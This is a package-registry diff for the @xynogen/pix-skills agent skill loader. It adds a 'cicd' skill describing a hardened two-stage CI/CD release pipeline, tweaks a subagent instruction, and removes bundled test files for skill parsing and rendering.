@xynogen/pix-skills 0.8.3 → 0.8.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -0
- package/package.json +2 -1
- package/skills/cicd.md +126 -0
- package/skills/subagent.md +1 -1
- package/src/index.test.ts +0 -715
- package/src/remote.test.ts +0 -175
- package/src/run.test.ts +0 -25
package/README.md
CHANGED
|
@@ -145,6 +145,7 @@ as `/skill:<name>` slash commands.
|
|
|
145
145
|
| `audit` | Security audit, integrity check, and secret/vulnerability scan |
|
|
146
146
|
| `bootstrap` | Project and tool scaffolding from authoritative docs |
|
|
147
147
|
| `brainstorm` | Design exploration and spec refinement before implementation |
|
|
148
|
+
| `cicd` | Set up a two-stage CI/CD release pipeline (validate on push/PR, publish on tag) across GitHub/Forgejo/GitLab |
|
|
148
149
|
| `clone` | Clone any git repo into `/tmp/clones` for read-only exploration |
|
|
149
150
|
| `command-runner` | Inspect workspace health using pre-populated git context (status + diff) |
|
|
150
151
|
| `commit` | Split, write, and maintain Conventional-Commit-style commits |
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@xynogen/pix-skills",
|
|
3
|
-
"version": "0.8.
|
|
3
|
+
"version": "0.8.5",
|
|
4
4
|
"description": "Pi extension — agent skill loader (skill tool + skills bundle)",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"main": "src/index.ts",
|
|
@@ -9,6 +9,7 @@
|
|
|
9
9
|
},
|
|
10
10
|
"files": [
|
|
11
11
|
"src",
|
|
12
|
+
"!src/**/*.test.*",
|
|
12
13
|
"skills",
|
|
13
14
|
"README.md",
|
|
14
15
|
"LICENSE"
|
package/skills/cicd.md
ADDED
|
@@ -0,0 +1,126 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: cicd
|
|
3
|
+
description: Set up a two-stage CI/CD release pipeline (validate on push/PR, publish on tag) for any language and most git-hosting platforms — GitHub Actions, Forgejo/Gitea Actions, GitLab CI. Use only on explicit request — "set up CI/CD", "add a release pipeline", "wire up publishing".
|
|
4
|
+
disable-model-invocation: true
|
|
5
|
+
---
|
|
6
|
+
# CI/CD Release Pipeline Directive
|
|
7
|
+
|
|
8
|
+
## Goal
|
|
9
|
+
|
|
10
|
+
Two stages, one invariant. **CI** validates every push/PR (fast) and can build+upload the artifact. **Publish** (on a version tag) re-runs the same CI, then downloads that exact artifact and ships it — never rebuilds.
|
|
11
|
+
|
|
12
|
+
**Golden rule: the artifact tested in CI is the exact artifact published.** Everything else is optimization around that invariant. Rebuilding at publish time voids it — the bytes you ship were never tested.
|
|
13
|
+
|
|
14
|
+
```text
|
|
15
|
+
push/PR ──► ci (lint · test:latest · build+upload artifact)
|
|
16
|
+
tag vX.Y ──► publish ──┬─ ci (full: lint · test:full grid · build+upload)
|
|
17
|
+
└─ download artifact ─► auth ─► registry
|
|
18
|
+
```
|
|
19
|
+
|
|
20
|
+
Do not scaffold projects (`bootstrap`) or retrofit lint/type gates (`harden`) — this is only the release pipeline. It assumes a working test/gate command already exists; if not, stop and point at `harden`.
|
|
21
|
+
|
|
22
|
+
## Phase 1: Detect (read-only)
|
|
23
|
+
|
|
24
|
+
- **Platform** — GitHub Actions (`.github/workflows/`), Forgejo/Gitea Actions (`.forgejo/workflows/` or `.gitea/workflows/`), GitLab CI (`.gitlab-ci.yml`), Woodpecker, Drone. This decides syntax and which security features exist (see matrix below).
|
|
25
|
+
- **Language + registry** — what gets published and where (npm, PyPI, crates.io, Maven Central, container registry, GitHub/Gitea Releases).
|
|
26
|
+
- **Existing gate** — the local command that lints+tests. CI must call this exact command, never a diverging copy.
|
|
27
|
+
- **Build + artifact naming** — the build command and the dist path/glob.
|
|
28
|
+
- **Verify, don't recall** — confirm action versions, registry auth mechanisms, and CLI flags via docs/`--help` before writing. These move fast.
|
|
29
|
+
|
|
30
|
+
## Phase 2: Propose
|
|
31
|
+
|
|
32
|
+
Present the plan before writing any workflow file: platform, the two files, publish trigger (tag vs release), auth mechanism (OIDC vs token — see matrix), and dependency-bot choice. Get approval. Publishing is irreversible; the pipeline that does it needs sign-off.
|
|
33
|
+
|
|
34
|
+
## Phase 3: Apply
|
|
35
|
+
|
|
36
|
+
### 1. One callable CI file, matrix toggle
|
|
37
|
+
|
|
38
|
+
```yaml
|
|
39
|
+
on:
|
|
40
|
+
workflow_call: # lets publish reuse this exact file
|
|
41
|
+
inputs: { full: { type: boolean, default: false } }
|
|
42
|
+
push: { branches: [main] }
|
|
43
|
+
pull_request: { branches: [main] }
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
- Matrix widens under `full` — the cheap subset on push, the full support grid on release. The axis is whatever the project supports: language/runtime versions, OS, or toolchain versions.
|
|
47
|
+
`matrix: { v: ${{ inputs.full && fromJSON('["a","b","c"]') || fromJSON('["c"]') }} }`
|
|
48
|
+
- `fail-fast: false` — one cell failing must not hide the others.
|
|
49
|
+
- **Lint in its own job**, once — it is version-independent, don't pay for it per matrix cell.
|
|
50
|
+
- **Build+upload job** runs the build, validates package metadata with the ecosystem's own check (`npm pack --dry-run`, `cargo package`, `twine check`, `mvn verify`, `go vet`/`goreleaser --snapshot`, `docker build`), and uploads the built artifact.
|
|
51
|
+
|
|
52
|
+
### 2. Publish reuses CI, downloads the artifact
|
|
53
|
+
|
|
54
|
+
```yaml
|
|
55
|
+
jobs:
|
|
56
|
+
ci: { uses: ./<workflows-dir>/ci.yml, with: { full: true } } # path per platform
|
|
57
|
+
publish:
|
|
58
|
+
needs: ci
|
|
59
|
+
environment: release # scopes trust + optional manual-approval gate
|
|
60
|
+
permissions: { id-token: write } # only where OIDC is used
|
|
61
|
+
steps:
|
|
62
|
+
- { uses: <download-artifact@SHA> } # never a rebuild step here
|
|
63
|
+
- { uses: <registry-publish@SHA> }
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### 3. Harden every workflow
|
|
67
|
+
|
|
68
|
+
- **Least privilege** — top-level `permissions: {}`; grant per job (`contents: read`, and `id-token: write` only on publish).
|
|
69
|
+
- **`persist-credentials: false`** on checkout so no git token lingers on the runner.
|
|
70
|
+
- **Pin actions to a commit SHA** with a `# vX.Y.Z` comment — mutable tags (`@v5`) can be swapped under you. Resolve: `git ls-remote https://.../<action> refs/tags/vX.Y.Z`. (GitLab CI: pin images by `@sha256:` digest instead.)
|
|
71
|
+
- **Concurrency cancel on CI only** — `group: ci-${{ github.ref }}`, `cancel-in-progress: true`. **Never on publish** — do not interrupt a release mid-flight.
|
|
72
|
+
|
|
73
|
+
### 4. Auth to the registry
|
|
74
|
+
|
|
75
|
+
Prefer **OIDC / trusted publishing** where the platform+registry pair supports it — no long-lived token in secrets; the CI mints a short-lived one the registry trusts. Register the trusted publisher on the registry side once, out of band (owner/repo + workflow file + environment). Where OIDC is unavailable, fall back to a **scoped, expiring token** in the platform's secret store, granted only to the publish job/environment.
|
|
76
|
+
|
|
77
|
+
### 5. Keep pins fresh
|
|
78
|
+
|
|
79
|
+
A dependency bot rotates SHA pins so they don't rot, with a cooldown to skip brand-new (possibly compromised) releases. **This is the least portable piece** — pick by platform (matrix below).
|
|
80
|
+
|
|
81
|
+
## Platform compatibility matrix
|
|
82
|
+
|
|
83
|
+
| Concern | GitHub | Forgejo / Gitea Actions | GitLab CI |
|
|
84
|
+
|---|---|---|---|
|
|
85
|
+
| Workflow dir | `.github/workflows/` | `.forgejo/` or `.gitea/workflows/` | `.gitlab-ci.yml` |
|
|
86
|
+
| Syntax | Actions YAML | **Actions-compatible** (most `uses:` run) | GitLab pipeline YAML (different model) |
|
|
87
|
+
| Reusable CI | `workflow_call` | `workflow_call` (recent versions) | `include:` + `extends`/`!reference` |
|
|
88
|
+
| OIDC publish | ✅ broad (PyPI/npm/…) | ⚠️ limited/emerging → use a scoped token | ✅ (id_tokens) for supported registries |
|
|
89
|
+
| `permissions`/`id-token` | ✅ | ✅ (version-dependent) | via `id_tokens:` keyword |
|
|
90
|
+
| Dependabot | ✅ native | ❌ **not supported** | ❌ native, but has its own scanners |
|
|
91
|
+
| Dependency-bot fallback | Dependabot | **Renovate** (self-host or Mend; supports Gitea/Forgejo) | **Renovate**, or GitLab's dep scanning |
|
|
92
|
+
| Pin actions by SHA | ✅ | ✅ | pin images by `@sha256:` digest |
|
|
93
|
+
|
|
94
|
+
**Portability rules:**
|
|
95
|
+
|
|
96
|
+
- The *shape* (validate → tag → reuse-CI → publish-tested-artifact) is identical everywhere. Only trigger syntax, auth, and the bot change.
|
|
97
|
+
- Do **not** assume Dependabot — it is GitHub-only. On Forgejo/Gitea/GitLab use Renovate. State the choice in Phase 2.
|
|
98
|
+
- Do **not** assume OIDC — check the platform+registry pair. Fall back to a scoped token and say so.
|
|
99
|
+
- Forgejo/Gitea Actions runs most GitHub actions, but SHA-pinned third-party actions must be reachable from that instance's configured registry (often a GitHub mirror) — verify before relying on one.
|
|
100
|
+
|
|
101
|
+
## Phase 4: Verify + Report
|
|
102
|
+
|
|
103
|
+
- Trigger CI on a branch/PR — must go green.
|
|
104
|
+
- Do a dry-run publish if the registry offers one (`npm publish --dry-run`, `cargo publish --dry-run`, TestPyPI, a staging registry) before a real tag.
|
|
105
|
+
- Confirm the publish job **downloads** the artifact and has no build step.
|
|
106
|
+
- Confirm CI runs the same gate command as local.
|
|
107
|
+
|
|
108
|
+
```text
|
|
109
|
+
## Pipeline: [project]
|
|
110
|
+
**Platform:** [GitHub/Forgejo/GitLab]
|
|
111
|
+
**CI:** [file] — push/PR fast, workflow_call full
|
|
112
|
+
**Publish:** [file] — trigger [tag/release], auth [OIDC/token], environment [name]
|
|
113
|
+
**Artifact:** built once in CI, downloaded at publish (no rebuild)
|
|
114
|
+
**Pins:** actions @SHA · deps via [Dependabot/Renovate]
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
## Red Flags — STOP
|
|
118
|
+
|
|
119
|
+
- A build/compile step inside the publish job — it must download the CI artifact. This breaks the golden rule.
|
|
120
|
+
- Publish not gated on a green CI run of the tagged commit.
|
|
121
|
+
- Long-lived registry token in secrets when OIDC is available for that platform+registry.
|
|
122
|
+
- `permissions: write-all` or a token persisted on the runner.
|
|
123
|
+
- Mutable action tags (`@v5`) instead of SHA pins.
|
|
124
|
+
- Concurrency cancellation on the publish workflow.
|
|
125
|
+
- Assuming Dependabot on a non-GitHub host, or OIDC without verifying the registry supports it.
|
|
126
|
+
- CI command that diverges from the local gate.
|
package/skills/subagent.md
CHANGED
|
@@ -216,7 +216,7 @@ Rules for the fan-out:
|
|
|
216
216
|
Background workers are not fire-and-forget. Estimate a reasonable duration from
|
|
217
217
|
the task size. If a worker runs materially longer than expected or available
|
|
218
218
|
progress shows it is blocked or off-track, inspect once and proactively use
|
|
219
|
-
`
|
|
219
|
+
`agent_control(action: "steer", ...)` with concrete help: missing context, a corrected path or command,
|
|
220
220
|
or a narrower goal. Do not repeatedly poll, sleep-wait, or steer merely because
|
|
221
221
|
a healthy task is slow. If steering does not recover it, stop and relaunch only
|
|
222
222
|
with a better prompt. Use judgment; every steer should address an observed
|
package/src/index.test.ts
DELETED
|
@@ -1,715 +0,0 @@
|
|
|
1
|
-
import { afterEach, beforeEach, describe, expect, it, mock } from "bun:test";
|
|
2
|
-
import { mkdir, mkdtemp, rm, symlink, writeFile } from "node:fs/promises";
|
|
3
|
-
import { tmpdir } from "node:os";
|
|
4
|
-
import { join } from "node:path";
|
|
5
|
-
import { pixRuntime } from "@xynogen/pix-runtime/config";
|
|
6
|
-
import { ioSection } from "@xynogen/pix-runtime/sections";
|
|
7
|
-
|
|
8
|
-
import registerSkills, {
|
|
9
|
-
copySkillResource,
|
|
10
|
-
extractDescription,
|
|
11
|
-
extractName,
|
|
12
|
-
findCommandDirectives,
|
|
13
|
-
formatCollapsedSkillResult,
|
|
14
|
-
formatExpandedSkillResult,
|
|
15
|
-
formatRemoteSkillSearch,
|
|
16
|
-
formatRemoteSkillSearchSummary,
|
|
17
|
-
formatSkillCallLabel,
|
|
18
|
-
formatSkillList,
|
|
19
|
-
formatSkillSummary,
|
|
20
|
-
hasShellMeta,
|
|
21
|
-
interpolateSkill,
|
|
22
|
-
readSkillResource,
|
|
23
|
-
replaceSpan,
|
|
24
|
-
scanSiblingPackageSkills,
|
|
25
|
-
type ThemeLike,
|
|
26
|
-
tokenizeCommand,
|
|
27
|
-
} from "./index.ts";
|
|
28
|
-
|
|
29
|
-
// Stub theme tags fragments so assertions verify which color/bold applied
|
|
30
|
-
// without depending on real ANSI codes.
|
|
31
|
-
const tagTheme: ThemeLike = {
|
|
32
|
-
fg: (key, text) => `[${key}]${text}[/]`,
|
|
33
|
-
bold: (text) => `<b>${text}</b>`,
|
|
34
|
-
};
|
|
35
|
-
|
|
36
|
-
const FRONTMATTER = `---
|
|
37
|
-
name: commit
|
|
38
|
-
description: Split, write, and maintain commits.
|
|
39
|
-
---
|
|
40
|
-
# Commit Directive
|
|
41
|
-
body...`;
|
|
42
|
-
|
|
43
|
-
describe("bundled TOON skill", () => {
|
|
44
|
-
it("is model-discoverable on demand and owns the jq + TOON workflow", async () => {
|
|
45
|
-
const skill = await Bun.file(new URL("../skills/toon-json.md", import.meta.url)).text();
|
|
46
|
-
|
|
47
|
-
expect(extractName(skill)).toBe("toon-json");
|
|
48
|
-
expect(extractDescription(skill)).toContain("information-dense JSON");
|
|
49
|
-
expect(skill).toContain("disable-model-invocation: true");
|
|
50
|
-
expect(skill).toContain("jq '.data'");
|
|
51
|
-
expect(skill).toContain("toon -d");
|
|
52
|
-
});
|
|
53
|
-
});
|
|
54
|
-
|
|
55
|
-
describe("scanSiblingPackageSkills", () => {
|
|
56
|
-
let scope: string;
|
|
57
|
-
beforeEach(async () => {
|
|
58
|
-
scope = await mkdtemp(join(tmpdir(), "pix-scope-"));
|
|
59
|
-
});
|
|
60
|
-
afterEach(async () => {
|
|
61
|
-
await rm(scope, { recursive: true, force: true });
|
|
62
|
-
});
|
|
63
|
-
|
|
64
|
-
it("discovers a sibling package's pi.skills entries", async () => {
|
|
65
|
-
const pkg = join(scope, "pix-graph");
|
|
66
|
-
await mkdir(join(pkg, "skills"), { recursive: true });
|
|
67
|
-
await writeFile(
|
|
68
|
-
join(pkg, "package.json"),
|
|
69
|
-
JSON.stringify({ name: "@xynogen/pix-graph", pi: { skills: ["./skills"] } }),
|
|
70
|
-
);
|
|
71
|
-
await writeFile(join(pkg, "skills", "graph.md"), "---\nname: graph\n---\nbody");
|
|
72
|
-
|
|
73
|
-
const found = scanSiblingPackageSkills(scope);
|
|
74
|
-
expect(found.map((s) => s.name)).toContain("graph");
|
|
75
|
-
});
|
|
76
|
-
|
|
77
|
-
it("skips pix-skills itself and packages without pi.skills", async () => {
|
|
78
|
-
await mkdir(join(scope, "pix-skills", "skills"), { recursive: true });
|
|
79
|
-
await writeFile(join(scope, "pix-skills", "skills", "self.md"), "---\nname: self\n---\n");
|
|
80
|
-
await mkdir(join(scope, "pix-footer"), { recursive: true });
|
|
81
|
-
await writeFile(join(scope, "pix-footer", "package.json"), JSON.stringify({ name: "x" }));
|
|
82
|
-
|
|
83
|
-
expect(scanSiblingPackageSkills(scope)).toEqual([]);
|
|
84
|
-
});
|
|
85
|
-
|
|
86
|
-
it("returns empty when the scope dir is absent", () => {
|
|
87
|
-
expect(scanSiblingPackageSkills(join(scope, "nope"))).toEqual([]);
|
|
88
|
-
});
|
|
89
|
-
});
|
|
90
|
-
|
|
91
|
-
describe("extractName", () => {
|
|
92
|
-
it("reads name from YAML frontmatter", () => {
|
|
93
|
-
expect(extractName(FRONTMATTER)).toBe("commit");
|
|
94
|
-
});
|
|
95
|
-
|
|
96
|
-
it("strips surrounding quotes", () => {
|
|
97
|
-
expect(extractName('---\nname: "debug"\n---\n')).toBe("debug");
|
|
98
|
-
});
|
|
99
|
-
|
|
100
|
-
it("returns null when no frontmatter", () => {
|
|
101
|
-
expect(extractName("# Just a heading")).toBeNull();
|
|
102
|
-
});
|
|
103
|
-
|
|
104
|
-
it("returns null when frontmatter lacks a name", () => {
|
|
105
|
-
expect(extractName("---\ndescription: x\n---\n")).toBeNull();
|
|
106
|
-
});
|
|
107
|
-
});
|
|
108
|
-
|
|
109
|
-
describe("extractDescription", () => {
|
|
110
|
-
it("reads description from frontmatter", () => {
|
|
111
|
-
expect(extractDescription(FRONTMATTER)).toBe("Split, write, and maintain commits.");
|
|
112
|
-
});
|
|
113
|
-
|
|
114
|
-
it("returns null when absent", () => {
|
|
115
|
-
expect(extractDescription("---\nname: x\n---\n")).toBeNull();
|
|
116
|
-
});
|
|
117
|
-
|
|
118
|
-
it("returns null when no frontmatter", () => {
|
|
119
|
-
expect(extractDescription("plain text")).toBeNull();
|
|
120
|
-
});
|
|
121
|
-
});
|
|
122
|
-
|
|
123
|
-
describe("formatSkillList", () => {
|
|
124
|
-
it("lists skill names horizontally without descriptions", () => {
|
|
125
|
-
expect(formatSkillList(["commit", "debug"])).toBe("Available skills (2): commit · debug");
|
|
126
|
-
});
|
|
127
|
-
});
|
|
128
|
-
|
|
129
|
-
describe("formatRemoteSkillSearch", () => {
|
|
130
|
-
const results = [
|
|
131
|
-
{
|
|
132
|
-
name: "hallmark",
|
|
133
|
-
slug: "nutlope/hallmark/hallmark",
|
|
134
|
-
source: "nutlope/hallmark",
|
|
135
|
-
installs: 24_849,
|
|
136
|
-
},
|
|
137
|
-
{
|
|
138
|
-
name: "frontend-design",
|
|
139
|
-
slug: "anthropics/skills/frontend-design",
|
|
140
|
-
source: "anthropics/skills",
|
|
141
|
-
installs: 696_500,
|
|
142
|
-
},
|
|
143
|
-
];
|
|
144
|
-
|
|
145
|
-
it("numbers matches by descending install count without a loading hint", () => {
|
|
146
|
-
const output = formatRemoteSkillSearch("design", results);
|
|
147
|
-
expect(output).toContain('skills.sh matches for "design" (2, installs descending):');
|
|
148
|
-
expect(output).toContain("1. frontend-design · anthropics/skills · 696.5K installs");
|
|
149
|
-
expect(output).toContain("2. hallmark · nutlope/hallmark · 24.8K installs");
|
|
150
|
-
expect(output).not.toContain("Load one with");
|
|
151
|
-
expect(output).not.toContain("fetch with source=");
|
|
152
|
-
});
|
|
153
|
-
|
|
154
|
-
it("renders a compact install-ranked table for the TUI", () => {
|
|
155
|
-
const output = formatRemoteSkillSearchSummary("design", results, tagTheme);
|
|
156
|
-
expect(output).toContain("[accent]<b>skills.sh</b>[/]");
|
|
157
|
-
expect(output).toContain("installs descending");
|
|
158
|
-
expect(output).toContain("[dim] 1[/] [accent]<b>frontend-design</b>[/]");
|
|
159
|
-
expect(output).toContain("[dim]anthropics/skills[/] [muted]696.5K installs[/]");
|
|
160
|
-
expect(output).not.toContain("Load with the selected source");
|
|
161
|
-
});
|
|
162
|
-
});
|
|
163
|
-
|
|
164
|
-
describe("formatSkillCallLabel", () => {
|
|
165
|
-
it("labels each operation distinctly", () => {
|
|
166
|
-
expect(formatSkillCallLabel({})).toBe("list");
|
|
167
|
-
expect(formatSkillCallLabel({ search: "design" })).toBe("search · design");
|
|
168
|
-
expect(formatSkillCallLabel({ source: "nutlope/hallmark", name: "hallmark" })).toBe(
|
|
169
|
-
"remote · nutlope/hallmark@hallmark",
|
|
170
|
-
);
|
|
171
|
-
expect(formatSkillCallLabel({ name: "test" })).toBe("description · test");
|
|
172
|
-
expect(formatSkillCallLabel({ name: "test", full: true })).toBe("instructions · test");
|
|
173
|
-
expect(formatSkillCallLabel({ name: "docx", resource: "references/guide.md" })).toBe(
|
|
174
|
-
"reference · docx/references/guide.md",
|
|
175
|
-
);
|
|
176
|
-
expect(
|
|
177
|
-
formatSkillCallLabel({
|
|
178
|
-
name: "docx",
|
|
179
|
-
resource: "scripts/render.ts",
|
|
180
|
-
output: ".pi/tools/render.ts",
|
|
181
|
-
}),
|
|
182
|
-
).toBe("copy · docx/scripts/render.ts → .pi/tools/render.ts");
|
|
183
|
-
});
|
|
184
|
-
});
|
|
185
|
-
|
|
186
|
-
describe("formatCollapsedSkillResult", () => {
|
|
187
|
-
it("summarizes each successful result distinctly", () => {
|
|
188
|
-
expect(formatCollapsedSkillResult({ mode: "list", count: 28 })).toBe("28 skills");
|
|
189
|
-
expect(
|
|
190
|
-
formatCollapsedSkillResult({ mode: "search", query: "design", count: 10, results: [] }),
|
|
191
|
-
).toBe("10 matches for “design”");
|
|
192
|
-
expect(formatCollapsedSkillResult({ mode: "description", name: "test" })).toBe(
|
|
193
|
-
"test · description",
|
|
194
|
-
);
|
|
195
|
-
expect(formatCollapsedSkillResult({ mode: "instructions", name: "test", lines: 42 })).toBe(
|
|
196
|
-
"test · 42 instruction lines",
|
|
197
|
-
);
|
|
198
|
-
expect(
|
|
199
|
-
formatCollapsedSkillResult({
|
|
200
|
-
mode: "reference",
|
|
201
|
-
name: "docx",
|
|
202
|
-
resource: "references/guide.md",
|
|
203
|
-
bytes: 120,
|
|
204
|
-
}),
|
|
205
|
-
).toBe("docx · reference · 120 B");
|
|
206
|
-
expect(
|
|
207
|
-
formatCollapsedSkillResult({
|
|
208
|
-
mode: "copy",
|
|
209
|
-
name: "docx",
|
|
210
|
-
resource: "scripts/render.ts",
|
|
211
|
-
output: ".pi/tools/render.ts",
|
|
212
|
-
bytes: 2048,
|
|
213
|
-
}),
|
|
214
|
-
).toBe("copied · .pi/tools/render.ts · 2.0 KiB");
|
|
215
|
-
});
|
|
216
|
-
});
|
|
217
|
-
|
|
218
|
-
describe("remote skill timeout config", () => {
|
|
219
|
-
beforeEach(async () => {
|
|
220
|
-
await pixRuntime().update(ioSection, { timeoutSec: 30 });
|
|
221
|
-
});
|
|
222
|
-
|
|
223
|
-
it("passes the configured timeout and tool cancellation signal to fetch", async () => {
|
|
224
|
-
await pixRuntime().update(ioSection, { timeoutSec: 120 });
|
|
225
|
-
const controller = new AbortController();
|
|
226
|
-
let seenRequest: RequestInit | undefined;
|
|
227
|
-
const originalFetch = globalThis.fetch;
|
|
228
|
-
globalThis.fetch = mock((_input: string | URL | Request, init?: RequestInit) => {
|
|
229
|
-
seenRequest = init;
|
|
230
|
-
return Promise.resolve(new Response(JSON.stringify({ skills: [] }), { status: 200 }));
|
|
231
|
-
}) as unknown as typeof fetch;
|
|
232
|
-
try {
|
|
233
|
-
let registered: Record<string, unknown> = {};
|
|
234
|
-
registerSkills({
|
|
235
|
-
registerTool(tool: unknown) {
|
|
236
|
-
registered = tool as Record<string, unknown>;
|
|
237
|
-
},
|
|
238
|
-
on() {},
|
|
239
|
-
} as never);
|
|
240
|
-
const execute = registered.execute as (...args: unknown[]) => Promise<unknown>;
|
|
241
|
-
await execute("call", { search: "typescript" }, controller.signal, undefined, {});
|
|
242
|
-
const requestSignal = seenRequest?.signal;
|
|
243
|
-
expect(requestSignal).toBeDefined();
|
|
244
|
-
expect(requestSignal).not.toBe(controller.signal);
|
|
245
|
-
expect(requestSignal?.aborted).toBe(false);
|
|
246
|
-
} finally {
|
|
247
|
-
globalThis.fetch = originalFetch;
|
|
248
|
-
await pixRuntime().update(ioSection, { timeoutSec: 30 });
|
|
249
|
-
}
|
|
250
|
-
});
|
|
251
|
-
});
|
|
252
|
-
|
|
253
|
-
describe("skill renderer", () => {
|
|
254
|
-
it("uses the self-rendered shell so the compact status mark has no box padding", () => {
|
|
255
|
-
let registered: Record<string, unknown> = {};
|
|
256
|
-
registerSkills({
|
|
257
|
-
registerTool(tool: unknown) {
|
|
258
|
-
registered = tool as Record<string, unknown>;
|
|
259
|
-
},
|
|
260
|
-
on() {},
|
|
261
|
-
} as never);
|
|
262
|
-
expect(registered.renderShell).toBe("self");
|
|
263
|
-
});
|
|
264
|
-
|
|
265
|
-
it("collapses search results into the shared tool row style", () => {
|
|
266
|
-
let registered: Record<string, unknown> = {};
|
|
267
|
-
registerSkills({
|
|
268
|
-
registerTool(tool: unknown) {
|
|
269
|
-
registered = tool as Record<string, unknown>;
|
|
270
|
-
},
|
|
271
|
-
on() {},
|
|
272
|
-
} as never);
|
|
273
|
-
const renderResult = registered.renderResult as (...args: unknown[]) => {
|
|
274
|
-
render: (width: number) => string[];
|
|
275
|
-
};
|
|
276
|
-
const rendered = renderResult(
|
|
277
|
-
{
|
|
278
|
-
content: [{ type: "text", text: "search results" }],
|
|
279
|
-
details: {
|
|
280
|
-
mode: "search",
|
|
281
|
-
query: "coding agent",
|
|
282
|
-
count: 9,
|
|
283
|
-
results: [],
|
|
284
|
-
},
|
|
285
|
-
},
|
|
286
|
-
{},
|
|
287
|
-
tagTheme,
|
|
288
|
-
{
|
|
289
|
-
expanded: false,
|
|
290
|
-
isError: false,
|
|
291
|
-
state: { collapsed: true },
|
|
292
|
-
invalidate: () => {},
|
|
293
|
-
},
|
|
294
|
-
)
|
|
295
|
-
.render(120)
|
|
296
|
-
.join("\n");
|
|
297
|
-
|
|
298
|
-
expect(rendered).toContain("<b>read_skills</b>");
|
|
299
|
-
expect(rendered).toContain("“coding agent”");
|
|
300
|
-
expect(rendered).toContain("9 matches");
|
|
301
|
-
expect(rendered).not.toContain("search results");
|
|
302
|
-
});
|
|
303
|
-
|
|
304
|
-
it("keeps the call action and target in the collapsed result", () => {
|
|
305
|
-
let registered: Record<string, unknown> = {};
|
|
306
|
-
registerSkills({
|
|
307
|
-
registerTool(tool: unknown) {
|
|
308
|
-
registered = tool as Record<string, unknown>;
|
|
309
|
-
},
|
|
310
|
-
on() {},
|
|
311
|
-
} as never);
|
|
312
|
-
const renderResult = registered.renderResult as (...args: unknown[]) => {
|
|
313
|
-
render: (width: number) => string[];
|
|
314
|
-
};
|
|
315
|
-
const rendered = renderResult(
|
|
316
|
-
{
|
|
317
|
-
content: [{ type: "text", text: "portable guidance" }],
|
|
318
|
-
details: { mode: "instructions", name: "tdd", lines: 84 },
|
|
319
|
-
},
|
|
320
|
-
{},
|
|
321
|
-
tagTheme,
|
|
322
|
-
{ expanded: false, isError: false, state: { collapsed: true }, invalidate: () => {} },
|
|
323
|
-
)
|
|
324
|
-
.render(120)
|
|
325
|
-
.join("\n");
|
|
326
|
-
|
|
327
|
-
expect(rendered).toContain("<b>read_skills</b>");
|
|
328
|
-
expect(rendered).toContain("instructions · tdd");
|
|
329
|
-
expect(rendered).toContain("84 lines");
|
|
330
|
-
});
|
|
331
|
-
|
|
332
|
-
it("restores the normal result when an elapsed card is expanded", () => {
|
|
333
|
-
let registered: Record<string, unknown> = {};
|
|
334
|
-
registerSkills({
|
|
335
|
-
registerTool(tool: unknown) {
|
|
336
|
-
registered = tool as Record<string, unknown>;
|
|
337
|
-
},
|
|
338
|
-
on() {},
|
|
339
|
-
} as never);
|
|
340
|
-
const renderResult = registered.renderResult as (...args: unknown[]) => {
|
|
341
|
-
render: (width: number) => string[];
|
|
342
|
-
};
|
|
343
|
-
const rendered = renderResult(
|
|
344
|
-
{
|
|
345
|
-
content: [{ type: "text", text: "portable guidance" }],
|
|
346
|
-
details: {
|
|
347
|
-
mode: "reference",
|
|
348
|
-
name: "docx",
|
|
349
|
-
resource: "references/guide.md",
|
|
350
|
-
bytes: 17,
|
|
351
|
-
},
|
|
352
|
-
},
|
|
353
|
-
{},
|
|
354
|
-
tagTheme,
|
|
355
|
-
{
|
|
356
|
-
expanded: true,
|
|
357
|
-
isError: false,
|
|
358
|
-
state: { collapsed: true },
|
|
359
|
-
invalidate: () => {},
|
|
360
|
-
},
|
|
361
|
-
)
|
|
362
|
-
.render(120)
|
|
363
|
-
.join("\n");
|
|
364
|
-
|
|
365
|
-
expect(rendered.split("\n")[0]).toBe(`[success]${"─".repeat(120)}[/]`);
|
|
366
|
-
expect(rendered).toContain("REFERENCE · docx");
|
|
367
|
-
expect(rendered).toContain("portable guidance");
|
|
368
|
-
expect(rendered).not.toContain("✓ skill");
|
|
369
|
-
});
|
|
370
|
-
|
|
371
|
-
it("frames expanded errors red and leaves partial output unframed", () => {
|
|
372
|
-
let registered: Record<string, unknown> = {};
|
|
373
|
-
registerSkills({
|
|
374
|
-
registerTool(tool: unknown) {
|
|
375
|
-
registered = tool as Record<string, unknown>;
|
|
376
|
-
},
|
|
377
|
-
on() {},
|
|
378
|
-
} as never);
|
|
379
|
-
const renderResult = registered.renderResult as (...args: unknown[]) => {
|
|
380
|
-
render: (width: number) => string[];
|
|
381
|
-
};
|
|
382
|
-
const error = renderResult(
|
|
383
|
-
{ content: [{ type: "text", text: "Skill not found" }], details: undefined },
|
|
384
|
-
{ isPartial: false },
|
|
385
|
-
tagTheme,
|
|
386
|
-
{ expanded: true, isError: true, state: {}, invalidate: () => {} },
|
|
387
|
-
).render(80);
|
|
388
|
-
expect(error[0]).toBe(`[error]${"─".repeat(80)}[/]`);
|
|
389
|
-
|
|
390
|
-
const partial = renderResult(
|
|
391
|
-
{ content: [{ type: "text", text: "loading" }], details: undefined },
|
|
392
|
-
{ isPartial: true },
|
|
393
|
-
tagTheme,
|
|
394
|
-
{ expanded: true, isError: false, state: {}, invalidate: () => {} },
|
|
395
|
-
).render(80);
|
|
396
|
-
expect(partial[0]).not.toContain("────");
|
|
397
|
-
});
|
|
398
|
-
});
|
|
399
|
-
|
|
400
|
-
describe("formatExpandedSkillResult", () => {
|
|
401
|
-
it("gives description, instructions, reference, and copy distinct output", () => {
|
|
402
|
-
expect(
|
|
403
|
-
formatExpandedSkillResult({ mode: "description", name: "test" }, "test: Test helper"),
|
|
404
|
-
).toBe("DESCRIPTION · test\nTest helper");
|
|
405
|
-
const instructions = "a".repeat(101);
|
|
406
|
-
expect(
|
|
407
|
-
formatExpandedSkillResult({ mode: "instructions", name: "test", lines: 42 }, instructions),
|
|
408
|
-
).toBe(`INSTRUCTIONS · test · 42 lines\n${"a".repeat(100)}...`);
|
|
409
|
-
expect(
